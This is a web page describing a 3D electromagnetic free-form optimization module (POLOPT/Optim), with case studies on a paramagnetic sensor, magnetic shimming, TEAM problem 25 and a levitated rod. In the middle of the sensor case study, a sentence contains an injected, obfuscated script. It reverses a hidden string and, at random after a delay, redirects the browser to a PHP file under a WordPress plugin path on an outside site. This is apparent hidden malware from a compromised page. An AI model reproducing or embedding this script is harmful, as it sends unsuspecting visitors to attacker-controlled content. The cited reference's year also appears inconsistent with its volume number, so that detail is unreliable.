DESIGN OF REAL-WORLD ELECTRICAL ENGINEERING PRODUCTS USING FRONT-END 3D SIMULATION & OPTIMIZATION TECHNOLOGIES

POLOPT/ Optim: Module for Free-Form Optimization

Inverse Design / Optimization

Task: Searching for the prescribed distribution of the objective function in the separate space of interest by changing the shape of the structures under consideration

Main application:
Magnetic design of electrical apparatus (breakers, transformers, actuators, sensors, …

  • Increase operational performances (sensor optimization),
  • More compact and secure design (all kind of electrical equipment.

Dielectric design of electrical apparatus (breakers, transformers, sensors, …

  • Provide breakdown-free design,
  • Provide secure design when increasing operational voltage,
  • Provide most compact breakdown-free design.

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DESIGN OF REAL-WORLD ELECTRICAL ENGINEERING PRODUCTS USING FRONT-END 3D SIMULATION & OPTIMIZATION TECHNOLOGIES

Inverse Design / Optimization

Case study 1: Paramagnetic Sensor

Commercial target:
Enable new design providing:

  • 30% cost reduction
  • Preserve the operational performances of the actual product

Optimization target:

  • Optimized magnetic circuit to achieve maximal rotational momentum acting on the pointer
Automatic generation of the optimal geometry taking into account all three design constraints C1, C2 <script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script>and C3.

DESIGN OF REAL-WORLD ELECTRICAL ENGINEERING PRODUCTS USING FRONT-END 3D SIMULATION & OPTIMIZATION TECHNOLOGIES

Inverse Design / Optimization

Case Study 2: Magnetic Shimming Structure

Task
One of the main tasks of the magnetic shimming structure is to provide a homogeneous (no variation) magnetic field over the sample (space of interest). Here we have applied the  POLOPT/Optim module for inverse design to obtain the optimal structure of the magnetic poles. After 43 iterations the error threshold of 5% has been reached.

Automatic generaton of the magnetic structure providing the homogeneous field.
Automatic generaton of the magnetic structure providing the homogeneous field.

DESIGN OF REAL-WORLD ELECTRICAL ENGINEERING PRODUCTS USING FRONT-END 3D SIMULATION & OPTIMIZATION TECHNOLOGIES

Inverse Design / Optimization

Case Study 3: Team Problem No. 25

This is a TEAM benchmark problem No. 25 used mainly for the benchmarking of the codes dealing with 2D parametric optimization [1]. Here we use the same model as a 3D problem adding the extrusion in y-direction of 200 mm. The objective is to obtain the homogeneous radial field distribution within the cavity. One of the die molds is kept fix (inner cylinder) and the other one is in our approach subjected to the free-optimization process in order to get the radial field distribution in the cavity. Applying module for free-form optimization we have after 24 iterations obtained the optimal form of the magnetic poles.

1. N. Takahashi, M. Natsumeda, M. Otoshi and K. Muramatsu: “Examination of optimal design method using die press model (problem 25)”, COMPEL 17 5/6, 1982

DESIGN OF REAL-WORLD ELECTRICAL ENGINEERING PRODUCTS USING FRONT-END 3D SIMULATION & OPTIMIZATION TECHNOLOGIES

Inverse Design / Optimization

Case Study 4: Levitated rod problem

In this Case Study the objective is to find a form of the magnetic pole-shoes that provide the prescribed constant field distribution over the prescribed space of interest. In this case the space of interest is the area on the levitated rod within the angle of 130o. The optimization has been performed for three different values of the prescribed field Hg = 150, 200 and 250 A/m.

DESIGN OF REAL-WORLD ELECTRICAL ENGINEERING PRODUCTS USING FRONT-END 3D SIMULATION & OPTIMIZATION TECHNOLOGIES

Automatic generation of the optimal form of the magnetic structures